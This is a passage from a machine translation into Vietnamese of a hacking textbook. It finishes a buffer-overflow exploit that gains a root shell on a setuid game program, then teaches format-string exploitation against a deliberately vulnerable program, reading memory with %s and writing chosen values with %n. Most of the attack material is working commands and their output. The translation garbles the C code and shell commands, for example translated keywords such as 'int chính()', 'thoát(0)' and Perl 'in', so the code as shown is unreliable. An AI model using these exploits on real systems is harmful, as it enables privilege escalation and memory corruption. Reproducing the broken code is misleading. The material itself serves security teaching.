gửi đầu vào chuẩn sau bộ đệm khai thác, trả lại quyền kiểm soát đầu vào. Mặc dù shell gốc không hiển thị
lời nhắc của nó, nhưng nó vẫn có thể truy cập được và vẫn tăng đặc quyền.
reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./game_of_chance
SHELLCODE sẽ ở 0xbffff9e0
reader@hacking:~/booksrc $ perl -e 'in "1\n7\nn\n5\n" . "A"x100 . "\xe0\
xf9\xff\xbf\n" . "1\n"' > khai thác bộ đệm
reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance -=[ Menu Game
of Chance ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 70 điểm tín dụng] ->
[DEBUG] con trỏ current_game @ 0x08048fde
####### Chọn một số ######
Trò chơi này tốn 10 tín dụng để chơi. Chỉ cần chọn một số
giữa 1 và 20, và nếu bạn chọn được số trúng thưởng, bạn
sẽ trúng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: Số trúng thưởng là 2
Rất tiếc, bạn đã không thắng.
Bây giờ bạn có 60 tín chỉ
Bạn có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
166 0x300
Machine Translated by Google
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 60 điểm tín dụng] -> Đổi
tên người dùng
Nhập tên mới của bạn: Tên của bạn đã được thay đổi.
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Bạn có 60 điểm tín dụng] ->
[DEBUG] con trỏ current_game @ 0xbffff9e0
ai đó
gốc rễ
nhận dạng
uid=0(root) gid=999(reader)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(
plugdev),104(máy quét),112(netdev),113(lpadmin),115(powerdev),117(admin),999(re
ader)
0x350 Định dạng chuỗi
Khai thác chuỗi định dạng là một kỹ thuật khác mà bạn có thể sử dụng để giành
quyền kiểm soát một chương trình đặc quyền. Giống như khai thác tràn bộ đệm,
khai thác chuỗi định dạng cũng phụ thuộc vào các lỗi lập trình có thể không có
tác động rõ ràng đến bảo mật. May mắn cho các lập trình viên, một khi đã biết kỹ
thuật này, việc phát hiện các lỗ hổng chuỗi định dạng và loại bỏ chúng khá dễ dàng.
Mặc dù lỗ hổng chuỗi định dạng không còn phổ biến nữa, nhưng các kỹ thuật sau
đây cũng có thể được sử dụng trong các tình huống khác.
0x351 Định dạng tham số
Đến giờ bạn hẳn đã khá quen thuộc với các chuỗi định dạng cơ bản. Chúng đã được
sử dụng rộng rãi với các hàm như printf() trong các chương trình trước đó.
Một hàm sử dụng chuỗi định dạng, chẳng hạn như printf(), chỉ cần đánh giá chuỗi
định dạng được truyền vào và thực hiện một hành động đặc biệt mỗi khi gặp tham
số định dạng. Mỗi tham số định dạng mong đợi một biến bổ sung được truyền vào,
vì vậy nếu có ba tham số định dạng trong một chuỗi định dạng, thì phải có thêm
ba đối số nữa cho hàm (ngoài đối số chuỗi định dạng).
Nhớ lại các tham số định dạng khác nhau đã giải thích ở chương trước.
Khai thác 167
Machine Translated by Google
Tham số Kiểu đầu vào Kiểu đầu ra
%d
Giá trị
Số thập phân
%u
Giá trị
Số thập phân không dấu
%x
Giá trị
Hệ thập lục phân
%S
Con trỏ
Sợi dây
%N
Con trỏ
Số byte đã ghi cho đến nay
Chương trước đã trình bày cách sử dụng các tham số định dạng phổ
biến hơn nhưng lại bỏ qua tham số định dạng %n ít phổ biến hơn .
Mã fmt_uncommon.c minh họa cách sử dụng của nó.
fmt_uncommon.c
#include <stdio.h>
#include <stdlib.h>
int chính() {
int A = 5, B = 7, đếm_một, đếm_hai;
// Ví dụ về chuỗi định dạng %n
printf("Số byte được ghi cho đến thời điểm này X%n đang được lưu trữ trong
count_one, và số byte cho đến thời điểm này là X%n đang được lưu trữ trong
count_two.\n", &count_one, &count_two);
printf("đếm_một: %d\n", đếm_một);
printf("đếm_hai: %d\n", đếm_hai);
// Ví dụ về ngăn xếp
printf("A là %d và ở %08x. B là %x.\n", A, &A, B);
thoát(0);
}
Chương trình này sử dụng hai tham số định dạng %n trong câu lệnh printf() của nó .
Sau đây là kết quả biên dịch và thực thi chương trình.
reader@hacking:~/booksrc $ gcc fmt_uncommon.c
reader@hacking:~/booksrc $ ./a.out Số
byte được ghi cho đến thời điểm này X đang được lưu trữ trong count_one, và số byte cho đến thời điểm này
X đang được lưu trữ trong count_two.
đếm_một: 46
đếm_hai: 113
A là 5 và ở bffff7f4. B là 7.
người đọc@hacking:~/booksrc $
Tham số định dạng %n là duy nhất ở chỗ nó ghi dữ liệu mà không hiển thị
bất cứ thứ gì, trái ngược với việc đọc và sau đó hiển thị dữ liệu. Khi một
hàm định dạng gặp tham số định dạng %n , nó sẽ ghi số byte đã được hàm ghi
vào địa chỉ trong đối số hàm tương ứng. Trong fmt_uncommon, điều này được
thực hiện ở hai nơi và unary
168 0x300
Machine Translated by Google
toán tử địa chỉ được sử dụng để ghi dữ liệu này vào các biến count_one và count_two tương ứng. Các giá
trị sau đó được xuất ra, cho thấy có 46 byte được tìm thấy trước %n đầu tiên và 113 byte trước %n thứ hai.
Ví dụ về ngăn xếp ở cuối là một sự chuyển tiếp thuận tiện vào phần giải thích
của vai trò của ngăn xếp với các chuỗi định dạng:
printf("A là %d và ở %08x. B là %x.\n", A, &A, B);
Khi hàm printf() này được gọi (như với bất kỳ hàm nào), các đối số được đẩy vào ngăn
xếp theo thứ tự ngược lại. Đầu tiên là giá trị của B, sau đó là địa chỉ của A, sau đó là giá
trị của A và cuối cùng là địa chỉ của chuỗi định dạng.
Ngăn xếp sẽ trông giống như sơ đồ ở đây.
Hàm định dạng lặp qua chuỗi định dạng từng ký tự
Đỉnh của ngăn xếp
một. Nếu ký tự không phải là phần đầu của tham số định
dạng (được chỉ định bằng dấu phần trăm), ký tự sẽ
được sao chép vào đầu ra. Nếu gặp phải tham số định
Địa chỉ của chuỗi định dạng
Giá trị của A
dạng, hành động thích hợp sẽ được thực hiện, sử
dụng đối số trong ngăn xếp tương ứng với tham số đó.
Địa chỉ của A
Giá trị của B
Đáy của ngăn xếp
Nhưng nếu chỉ có hai đối số được đẩy vào ngăn xếp
với một chuỗi định dạng sử dụng ba
tham số định dạng? Hãy thử xóa đối số cuối cùng khỏi printf()
dòng cho ví dụ ngăn xếp sao cho nó khớp với dòng hiển thị bên dưới.
printf("A là %d và ở %08x. B là %x.\n", A, &A);
Bạn có thể thực hiện việc này trong trình soạn thảo hoặc dùng một chút lệnh sed .
người đọc@hacking:~/booksrc $ sed -e 's/, B)/)/' fmt_uncommon.c > fmt_uncommon2.c
người đọc@hacking:~/booksrc $ diff fmt_uncommon.c fmt_uncommon2.c
14c14
<
-->
printf("A là %d và ở %08x. B là %x.\n", A, &A, B);
printf("A là %d và ở %08x. B là %x.\n", A, &A);
reader@hacking:~/booksrc $ gcc fmt_uncommon2.c
reader@hacking:~/booksrc $ ./a.out
Số byte được ghi cho đến thời điểm X này đang được lưu trữ trong count_one, và số byte cho đến thời điểm
X này đang được lưu trữ trong count_two.
đếm_một: 46
đếm_hai: 113
A là 5 và ở bffffc24. B là b7fd6ff4.
người đọc@hacking:~/booksrc $
Kết quả là b7fd6ff4. B7fd6ff4 là cái quái gì vậy ? Hóa ra là vì
không có giá trị nào được đẩy vào ngăn xếp, hàm định dạng chỉ kéo dữ liệu từ nơi mà đối số thứ ba phải ở
(bằng cách thêm vào con trỏ khung hiện tại). Điều này có nghĩa là 0xb7fd6ff4 là giá trị đầu tiên được tìm
thấy bên dưới khung ngăn xếp cho hàm định dạng.
Khai thác 169
Machine Translated by Google
Đây là một chi tiết thú vị cần được ghi nhớ. Chắc chắn sẽ hữu ích hơn nhiều nếu có
cách kiểm soát số lượng đối số được truyền đến hoặc được mong đợi bởi một hàm định dạng.
May mắn thay, có một lỗi lập trình khá phổ biến cho phép điều sau.
0x352 Lỗ hổng chuỗi định dạng
Đôi khi, các lập trình viên sử dụng printf(string) thay vì printf("%s", string) để in
chuỗi. Về mặt chức năng, điều này hoạt động tốt. Hàm định dạng được truyền địa chỉ của
chuỗi, trái ngược với địa chỉ của chuỗi định dạng và nó lặp qua chuỗi, in từng ký tự. Ví
dụ về cả hai phương pháp được hiển thị trong fmt_vuln.c.
fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
int main(int argc, char *argv[]) {
văn bản char[1024];
giá trị tĩnh int test_val = -72;
nếu(argc < 2) {
printf("Cách sử dụng: %s <văn bản cần in>\n", argv[0]);
thoát(0);
}
strcpy(văn bản, argv[1]);
printf("Cách đúng để in dữ liệu đầu vào do người dùng kiểm soát:\n");
printf("%s", văn bản);
printf("\nCách in dữ liệu đầu vào do người dùng kiểm soát sai:\n");
printf(văn bản);
inf("\n");
// Đầu ra gỡ lỗi
printf("[*] giá trị kiểm tra @ 0x%08x = %d 0x%08x\n", &giá trị kiểm tra, giá trị kiểm tra, giá
trị kiểm tra);
thoát(0);
}
Đầu ra sau đây cho thấy quá trình biên dịch và thực thi fmt_vuln.c.
reader@hacking:~/booksrc $ gcc -o fmt_vuln fmt_vuln.c
reader@hacking:~/booksrc $ sudo chown root:root ./fmt_vuln
người đọc@hacking:~/booksrc $ sudo chmod u+s ./fmt_vuln
reader@hacking:~/booksrc $ ./fmt_vuln thử nghiệm
Cách in đúng nội dung do người dùng kiểm soát:
thử nghiệm
170 0x300
Machine Translated by Google
Cách in dữ liệu do người dùng kiểm soát sai:
thử nghiệm
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Cả hai phương pháp dường như đều hoạt động với thử nghiệm chuỗi. Nhưng
điều gì xảy ra nếu chuỗi chứa tham số định dạng? Hàm định dạng sẽ cố gắng
đánh giá tham số định dạng và truy cập đối số hàm thích hợp bằng cách thêm
vào con trỏ khung. Nhưng như chúng ta đã thấy trước đó, nếu đối số hàm
thích hợp không có ở đó, việc thêm vào con trỏ khung sẽ tham chiếu đến một
phần bộ nhớ trong khung ngăn xếp trước đó.
người đọc@hacking:~/booksrc $ ./fmt_vuln thử nghiệm%x
Cách in đúng nội dung do người dùng kiểm soát:
đang thử nghiệm%x
Cách in dữ liệu do người dùng kiểm soát sai:
thử nghiệmbffff3e0
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Khi tham số định dạng %x được sử dụng, biểu diễn thập lục phân của
một từ bốn byte trong ngăn xếp được in ra. Quá trình này có thể được sử
dụng nhiều lần để kiểm tra bộ nhớ ngăn xếp.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'in "%08x."x40')
Cách in đúng nội dung do người dùng kiểm soát:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08x.
Cách in dữ liệu do người dùng kiểm soát sai:
bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252
e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2
52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e78
38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Đây là hình ảnh bộ nhớ ngăn xếp thấp hơn. Hãy nhớ rằng mỗi từ bốn byte đều ngược,
do kiến trúc little-endian. Các byte 0x25, 0x30, 0x38, 0x78 và 0x2e có vẻ như lặp lại rất
nhiều. Bạn có thắc mắc những byte đó là gì không?
người đọc@hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"
%08x.
người đọc@hacking:~/booksrc $
Như bạn có thể thấy, chúng là bộ nhớ cho chính chuỗi định dạng. Vì hàm định dạng sẽ
luôn nằm trên khung ngăn xếp cao nhất, miễn là chuỗi định dạng được lưu trữ ở bất kỳ đâu
trên ngăn xếp, nó sẽ nằm bên dưới con trỏ khung hiện tại (ở địa chỉ bộ nhớ cao hơn). Thực tế
này có thể được sử dụng để kiểm soát các đối số cho hàm định dạng. Nó đặc biệt hữu ích nếu
các tham số định dạng được truyền theo tham chiếu được sử dụng, chẳng hạn như %s hoặc %n.
Khai thác
171
Machine Translated by Google
0x353 Đọc từ Địa chỉ Bộ nhớ Tùy ý
Tham số định dạng %s có thể được sử dụng để đọc từ các địa chỉ bộ nhớ tùy ý.
Vì có thể đọc dữ liệu của chuỗi định dạng gốc, nên một phần của chuỗi định dạng
gốc có thể được sử dụng để cung cấp địa chỉ cho tham số định dạng %s , như
được hiển thị ở đây:
người đọc@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
Cách in đúng nội dung do người dùng kiểm soát:
AAAA%08x.%08x.%08x.%08x
Cách in dữ liệu do người dùng kiểm soát sai:
AAAAbffff3d0.b7fe75fc.00000000.41414141
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Bốn byte 0x41 chỉ ra rằng tham số định dạng thứ tư đang đọc từ đầu chuỗi định dạng để lấy dữ
liệu của nó. Nếu tham số định dạng thứ tư là %s thay vì %x, hàm định dạng sẽ cố gắng in chuỗi nằm ở
0x41414141. Điều này sẽ khiến chương trình bị sập trong lỗi phân đoạn, vì đây không phải là địa chỉ hợp
lệ. Nhưng nếu sử dụng địa chỉ bộ nhớ hợp lệ, quy trình này có thể được sử dụng để đọc chuỗi được tìm thấy
tại địa chỉ bộ nhớ đó.
người đọc@hacking:~/booksrc $ env | grep PATH
ĐƯỜNG DẪN=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
người đọc@hacking:~/booksrc $ ./getenvaddr ĐƯỜNG DẪN ./fmt_vuln
PATH sẽ ở 0xbffffdd7
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
Cách in đúng nội dung do người dùng kiểm soát:
????%08x.%08x.%08x.%08x.%s
Cách in dữ liệu do người dùng kiểm soát sai:
????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr/trò chơi
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $
Ở đây, chương trình getenvaddr được sử dụng để lấy địa chỉ cho biến môi
trường PATH. Vì tên chương trình fmt_vuln ít hơn getenvaddr hai byte, nên bốn
byte được thêm vào địa chỉ và các byte bị đảo ngược do thứ tự byte. Tham số định
dạng thứ tư của %s đọc từ đầu chuỗi định dạng, nghĩ rằng đó là địa chỉ được
truyền dưới dạng đối số hàm. Vì địa chỉ này là địa chỉ của biến môi trường PATH ,
nên nó được in ra như thể một con trỏ đến biến môi trường được truyền cho printf().
Bây giờ khoảng cách giữa phần cuối của khung ngăn xếp và phần đầu của bộ nhớ
chuỗi định dạng đã được biết, các đối số độ rộng trường có thể được bỏ qua trong
các tham số định dạng %x . Các tham số định dạng này chỉ cần thiết để bước qua bộ
nhớ. Sử dụng kỹ thuật này, bất kỳ địa chỉ bộ nhớ nào cũng có thể được xem xét
như một chuỗi.
172 0x300
Machine Translated by Google
0x354 Ghi vào Địa chỉ Bộ nhớ Tùy ý
Nếu tham số định dạng %s có thể được sử dụng để đọc một địa chỉ bộ nhớ tùy
ý, bạn sẽ có thể sử dụng cùng kỹ thuật với %n để ghi vào một địa chỉ bộ nhớ
tùy ý. Bây giờ mọi thứ đang trở nên thú vị.
Biến test_val đã in địa chỉ và giá trị của nó trong câu lệnh gỡ lỗi
của chương trình fmt_vuln.c dễ bị tấn công, chỉ cần được ghi đè. Biến test
nằm ở 0x08049794, do đó, bằng cách sử dụng một kỹ thuật tương tự, bạn sẽ
có thể ghi vào biến.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
Cách in đúng nội dung do người dùng kiểm soát:
????%08x.%08x.%08x.%08x.%s
Cách in dữ liệu do người dùng kiểm soát sai:
????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr/trò chơi
[*] giá trị kiểm tra @ 0x08049794 = -72 0xffffffb8
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
Cách in đúng nội dung do người dùng kiểm soát:
??%08x.%08x.%08x.%n
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0.b7fe75fc.00000000.
[*] giá trị kiểm tra @ 0x08049794 = 31 0x0000001f
người đọc@hacking:~/booksrc $
Như hình minh họa, biến test_val thực sự có thể được ghi đè bằng tham
số định dạng %n . Giá trị kết quả trong biến test phụ thuộc vào số byte được
ghi trước % n. Điều này có thể được kiểm soát ở mức độ lớn hơn bằng cách
thao tác tùy chọn độ rộng trường.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc0
[*] giá trị kiểm tra @ 0x08049794 = 21 0x00000015
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%100x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%100x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc 0
[*] giá trị kiểm tra @ 0x08049794 = 120 0x00000078
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%180x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%180x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc 0
[*] giá trị kiểm tra @ 0x08049794 = 200 0x000000c8
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%400x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%400x%n
Khai thác 173
Machine Translated by Google
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc 0
[*] giá trị kiểm tra @ 0x08049794 = 420 0x000001a4
người đọc@hacking:~/booksrc $
Bằng cách thao tác tùy chọn field-width của một trong các tham số định dạng
trước % n, một số khoảng trắng nhất định có thể được chèn vào, dẫn đến đầu ra có
một số dòng trống. Những dòng này, đến lượt nó, có thể được sử dụng để kiểm soát
số byte được ghi trước tham số định dạng %n . Cách tiếp cận này sẽ hiệu quả với
các số nhỏ, nhưng sẽ không hiệu quả với các số lớn hơn, như địa chỉ bộ nhớ.
Khi xem biểu diễn thập lục phân của giá trị test_val , rõ ràng là byte ít
quan trọng nhất có thể được kiểm soát khá tốt. (Hãy nhớ rằng byte ít quan trọng
nhất thực sự nằm ở byte đầu tiên của từ bộ nhớ bốn byte.) Chi tiết này có thể được
sử dụng để ghi toàn bộ địa chỉ.
Nếu thực hiện bốn lần ghi tại các địa chỉ bộ nhớ tuần tự, byte ít quan trọng nhất
có thể được ghi vào mỗi byte của một từ bốn byte, như được hiển thị ở đây:
Ký ức
94 95 96 97
Đầu tiên hãy viết tới 0x08049794
00 00 00
Lần ghi thứ hai vào 0x08049795
BB 00 00 00
Lần ghi thứ ba vào 0x08049796
00 00 00
Ngày 00 00 00
Viết lần thứ tư đến 0x08049797
Kết quả
AA BB CC DD
Ví dụ, hãy thử ghi địa chỉ 0xDDCCBBAA vào biến thử nghiệm. Trong bộ nhớ, byte đầu
tiên của biến thử nghiệm phải là 0xAA, sau đó là 0xBB, sau đó là 0xCC và cuối cùng là 0xDD.
Bốn lần ghi riêng biệt vào các địa chỉ bộ nhớ 0x08049794, 0x08049795, 0x08049796 và
0x08049797 sẽ thực hiện được điều này.
Lần ghi đầu tiên sẽ ghi giá trị 0x000000aa, lần ghi thứ hai là 0x000000bb, lần ghi thứ ba
là 0x000000cc và cuối cùng là 0x000000dd.
Lần viết đầu tiên sẽ dễ dàng.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%8x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%8x%n
Cách in dữ liệu do người dùng kiểm soát sai:
0
??bffff3d0b7fe75fc [*]
giá trị kiểm tra @ 0x08049794 = 28 0x0000001c
người đọc@hacking:~/booksrc $ gdb -q
(gdb) p 0xaa - 28 + 8
1 = 150
(gdb) thoát
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
Cách in đúng nội dung do người dùng kiểm soát:
??%x%x%150x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??bffff3d0b7fe75fc 0
[*] giá trị kiểm tra @ 0x08049794 = 170 0x000000aa
người đọc@hacking:~/booksrc $
174 0x300
Machine Translated by Google
Tham số định dạng %x cuối cùng sử dụng 8 làm độ rộng trường để chuẩn hóa đầu
ra. Về cơ bản, đây là việc đọc một DWORD ngẫu nhiên từ ngăn xếp, có thể xuất ra
bất kỳ ký tự nào từ 1 đến 8. Vì lần ghi đè đầu tiên đặt 28 vào test_val, nên
việc sử dụng 150 làm độ rộng trường thay vì 8 sẽ kiểm soát byte ít quan trọng
nhất của test_val thành 0xAA.
Bây giờ cho lần viết tiếp theo. Một đối số khác là cần thiết cho %x khác
tham số định dạng để tăng số byte lên 187, là 0xBB theo hệ thập phân. Đối số
này có thể là bất kỳ thứ gì; nó chỉ cần dài bốn byte và phải nằm sau địa chỉ
bộ nhớ tùy ý đầu tiên là 0x08049754.
Vì tất cả những điều này vẫn nằm trong bộ nhớ của chuỗi định dạng nên có thể
dễ dàng kiểm soát. Từ JUNK dài bốn byte và sẽ hoạt động tốt.
Sau đó, địa chỉ bộ nhớ tiếp theo được ghi vào, 0x08049755, sẽ
được đưa vào bộ nhớ để tham số định dạng %n thứ hai có thể truy cập vào nó.
Điều này có nghĩa là phần đầu của chuỗi định dạng phải bao gồm địa chỉ bộ nhớ
đích, bốn byte rác, sau đó là địa chỉ bộ nhớ đích cộng với một.
Nhưng tất cả các byte bộ nhớ này cũng được in ra bởi hàm định dạng, do đó tăng
bộ đếm byte được sử dụng cho tham số định dạng %n . Điều này đang trở nên khó
khăn.
Có lẽ chúng ta nên nghĩ về phần đầu của chuỗi định dạng trước. Mục tiêu là
có bốn lần ghi. Mỗi lần ghi sẽ cần phải có một địa chỉ bộ nhớ được truyền vào và
trong số đó, cần bốn byte rác để tăng bộ đếm byte cho các tham số định dạng %n
một cách chính xác. Tham số định dạng %x đầu tiên có thể sử dụng bốn byte được
tìm thấy trước chính chuỗi định dạng, nhưng ba byte còn lại sẽ cần được cung
cấp dữ liệu. Đối với toàn bộ quy trình ghi, phần đầu của chuỗi định dạng sẽ
trông như thế này:
0x08049794
0x08049795
0x08049796
0x08049797
94 97 04 08 THÁNG 6 K 95 97 04 08 THÁNG 6 K 96 97 04 08 THÁNG 6 K 97 97 04 08
Chúng ta hãy thử xem nhé.
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%8x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??Bffff3c0b7fe75fc [*]
0
test_val @ 0x08049794 = 52 0x00000034
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
1 = 126
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%126x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??Bffff3c0b7fe75fc 0
[*] giá trị kiểm tra @ 0x08049794 = 170 0x000000aa
người đọc@hacking:~/booksrc $
Khai thác 175
Machine Translated by Google
Địa chỉ và dữ liệu rác ở đầu chuỗi định dạng đã thay đổi giá trị của tùy chọn
độ rộng trường cần thiết cho tham số định dạng %x .
Tuy nhiên, điều này có thể dễ dàng tính toán lại bằng cùng phương pháp như trước.
Một cách khác có thể thực hiện là trừ 24 khỏi giá trị độ rộng trường trước đó là
150, vì 6 từ 4 byte mới đã được thêm vào phía trước chuỗi định dạng.
Bây giờ tất cả bộ nhớ đã được thiết lập trước thời hạn vào lúc bắt đầu
định dạng chuỗi, lệnh ghi thứ hai sẽ đơn giản.
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa"
1 = 17
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??%x%x%126x%n%17x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??Bffff3b0b7fe75fc 4b4e554a
0
[*] giá trị kiểm tra @ 0x08049794 = 48042 0x0000bbaa
người đọc@hacking:~/booksrc $
Giá trị mong muốn tiếp theo cho byte ít quan trọng nhất là 0xBB. Máy
tính thập lục phân nhanh chóng cho thấy cần phải ghi thêm 17 byte nữa trước
tham số định dạng %n tiếp theo . Vì bộ nhớ đã được thiết lập cho tham số định
dạng %x , nên việc ghi 17 byte bằng tùy chọn độ rộng trường rất đơn giản.
Quá trình này có thể được lặp lại cho lần ghi thứ ba và thứ tư.
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcc - 0xbb"
1 = 17
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xdd - 0xcc"
1 = 17
người đọc@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
Cách in đúng nội dung do người dùng kiểm soát:
??RÁC??RÁC??RÁC??RÁC??%x%x%126x%n%17x%n%17x%n%17x%n
Cách in dữ liệu do người dùng kiểm soát sai:
??RÁC??RÁC??RÁC??Bffff3b0b7fe75fc 4b4e554a
0
4b4e554a 4b4e554a
[*] giá trị kiểm tra @ 0x08049794 = -573785174 0xddccbbaa
người đọc@hacking:~/booksrc $
Bằng cách kiểm soát byte ít quan trọng nhất và thực hiện bốn lần ghi, toàn
bộ địa chỉ có thể được ghi vào bất kỳ địa chỉ bộ nhớ nào. Cần lưu ý rằng ba byte
được tìm thấy sau địa chỉ mục tiêu cũng sẽ được ghi đè bằng kỹ thuật này. Điều
này có thể được khám phá nhanh chóng bằng cách khai báo tĩnh một biến được khởi
tạo khác có tên là next_val, ngay sau test_val và cũng hiển thị giá trị này
trong đầu ra gỡ lỗi. Các thay đổi có thể được thực hiện trong trình soạn thảo
hoặc với một số phép thuật sed khác .
176 0x300
Machine Translated by Google
Ở đây, next_val được khởi tạo với giá trị 0x11111111, do đó hiệu ứng của
các thao tác ghi trên đó sẽ trở nên rõ ràng.
người đọc@hacking:~/booksrc $ sed -e 's/72;/72, next_val = 0x11111111;/;/@/{h;s/test/next/g;x;G}' fmt_vuln.c > fmt_vuln2.c
người đọc@hacking:~/booksrc $ diff fmt_vuln.c fmt_vuln2.c
7c7
<
---
giá trị tĩnh int test_val = -72;
> giá trị tĩnh int test_val = -72, giá trị tiếp theo = 0x11111111;
27a28
> printf("[*] giá trị tiếp theo @ 0x%08x = %d 0x%08x\n", &giá trị tiếp theo, giá trị tiếp theo, giá trị tiếp theo);
reader@hacking:~/booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c reader@hacking:~/
booksrc $ ./fmt_vuln2 thử nghiệm
Cách đúng:
Bài kiểm tra
Cách sai:
Bài kiểm tra
[*] giá trị kiểm tra @ 0x080497b4 = -72 0xffffffb8
[*] giá trị tiếp theo @ 0x080497b8 = 286331153 0x11111111
người đọc@hacking:~/booksrc $
Như đầu ra trước đó cho thấy, thay đổi mã cũng đã di chuyển địa chỉ của biến
